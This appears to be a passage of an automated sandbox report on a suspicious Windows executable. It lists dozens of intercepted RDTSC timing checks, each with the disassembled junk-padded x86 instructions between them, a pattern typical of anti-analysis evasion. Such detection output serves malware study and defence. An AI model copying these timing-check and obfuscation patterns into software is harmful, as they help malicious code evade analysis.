Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CC3 second address: 950CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE804FE5CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CD2 second address: 950CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE804B276C6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CE0 second address: 950CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CE5 second address: 950CFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950CFC second address: 950D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950D00 second address: 950D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007FE804B276E7h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950E8E second address: 950E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950E92 second address: 950E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 950E96 second address: 950EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE804FE5CD2h 0x0000000b jg 00007FE804FE5CCCh 0x00000011 jbe 00007FE804FE5CC6h 0x00000017 popad 0x00000018 jg 00007FE804FE5CD2h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 951055 second address: 95105A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95105A second address: 951071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE804FE5CC6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE804FE5CCAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95122D second address: 951236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 951236 second address: 951267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FE804FE5CE2h 0x0000000c pushad 0x0000000d jbe 00007FE804FE5CC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 954689 second address: 95468F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8D9F6E second address: 8D9F73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8D9F73 second address: 8D9F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FE804B276D2h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 958CAC second address: 958CB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 958CB5 second address: 958CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FE804B276C6h 0x0000000a jo 00007FE804B276C6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 958CCA second address: 958CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804FE5CCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 958CD9 second address: 958CE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 958CE3 second address: 958CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 959662 second address: 95966C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE804B276C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95966C second address: 959681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FE804FE5CC6h 0x0000000d jnl 00007FE804FE5CC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 959681 second address: 95968F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jng 00007FE804B276C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95968F second address: 9596C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007FE804FE5CC8h 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e jmp 00007FE804FE5CD1h 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jng 00007FE804FE5CC6h 0x0000001b jmp 00007FE804FE5CCBh 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9596C8 second address: 9596CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9596CC second address: 9596D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95E1E4 second address: 95E1E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95E5ED second address: 95E5F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95E5F1 second address: 95E60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE804B276D4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95E899 second address: 95E89F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95E89F second address: 95E8B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE804B276D4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 95EA21 second address: 95EA27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 963BFE second address: 963C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 963C02 second address: 963C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FE804FE5CC6h 0x0000000e jmp 00007FE804FE5CCBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 8DF0CC second address: 8DF0D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92AA12 second address: 92AA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92AA16 second address: 92AA1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92AA1A second address: 92AAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jng 00007FE804FE5CE6h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FE804FE5CC8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ecx, dword ptr [ebp+122D39AAh] 0x0000002e lea eax, dword ptr [ebp+124857CAh] 0x00000034 mov cx, di 0x00000037 nop 0x00000038 pushad 0x00000039 pushad 0x0000003a jmp 00007FE804FE5CD5h 0x0000003f jmp 00007FE804FE5CD4h 0x00000044 popad 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92AFA7 second address: 92AFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE804B276D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B184 second address: 92B18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B282 second address: 92B29D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B29D second address: 92B2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B2A1 second address: 92B2A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B2A5 second address: 92B2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 je 00007FE804FE5CC6h 0x0000000d pop ebx 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 mov dword ptr [ebp+122D1953h], ebx 0x00000016 nop 0x00000017 jmp 00007FE804FE5CD0h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B2D3 second address: 92B2D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B2D9 second address: 92B2E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE804FE5CC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B37D second address: 92B3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jc 00007FE804B276CEh 0x0000000d jne 00007FE804B276C8h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 js 00007FE804B276DFh 0x0000001d pushad 0x0000001e push edx 0x0000001f pop edx 0x00000020 jmp 00007FE804B276D5h 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jnc 00007FE804B276D4h 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 push ecx 0x00000033 push eax 0x00000034 push edx 0x00000035 jnc 00007FE804B276C6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B55B second address: 92B561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92B561 second address: 92B5C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pop ebx 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FE804B276C8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007FE804B276D6h 0x0000002c push 00000004h 0x0000002e pushad 0x0000002f sbb ah, 0000002Eh 0x00000032 mov bh, 2Fh 0x00000034 popad 0x00000035 nop 0x00000036 push ebx 0x00000037 js 00007FE804B276C8h 0x0000003d pop ebx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 jnc 00007FE804B276C6h 0x00000048 pop edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 92BDB8 second address: 92BDBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9632F6 second address: 9632FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9632FD second address: 963303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 96359A second address: 9635AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE804B276C6h 0x00000008 jc 00007FE804B276C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 96CB1A second address: 96CB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007FE804FE5CD3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 96C78C second address: 96C7AE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE804B276D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 96C7AE second address: 96C7CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE804FE5CD7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97232E second address: 97234E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97234E second address: 972352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974C33 second address: 974C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FE804B276C6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974DB2 second address: 974DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FE804FE5CC6h 0x0000000a jnl 00007FE804FE5CC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974DC4 second address: 974DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974DCF second address: 974DD9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE804FE5CC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974DD9 second address: 974DEC instructions: 0x00000000 rdtsc 0x00000002 je 00007FE804B276C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 974DEC second address: 974E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FE804FE5CC6h 0x0000000a popad 0x0000000b jmp 00007FE804FE5CD0h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 978D59 second address: 978D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edi 0x00000008 jmp 00007FE804B276D7h 0x0000000d jc 00007FE804B276C6h 0x00000013 pop edi 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97D99B second address: 97D9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FE804FE5CC6h 0x0000000c jmp 00007FE804FE5CCCh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jng 00007FE804FE5CD8h 0x0000001a pushad 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DE73 second address: 97DE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DE77 second address: 97DE8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DE8E second address: 97DE9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FE804B276CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DE9C second address: 97DEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DEA5 second address: 97DEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D1h 0x00000009 je 00007FE804B276C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DEC5 second address: 97DEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DEC9 second address: 97DECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DECD second address: 97DED9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DED9 second address: 97DEDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97DEDF second address: 97DEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97E050 second address: 97E055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97E055 second address: 97E069 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jns 00007FE804FE5CC6h 0x00000009 jnl 00007FE804FE5CC6h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97E069 second address: 97E06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97E06F second address: 97E073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 97EA6C second address: 97EA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9803C7 second address: 9803CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9866EC second address: 9866F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 9869D6 second address: 9869F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FE804FE5CE0h 0x0000000b jmp 00007FE804FE5CD4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 986CC2 second address: 986CD3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007FE804B276C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 986FF1 second address: 986FFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jno 00007FE804FE5CC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 987291 second address: 987297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 987297 second address: 98729B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
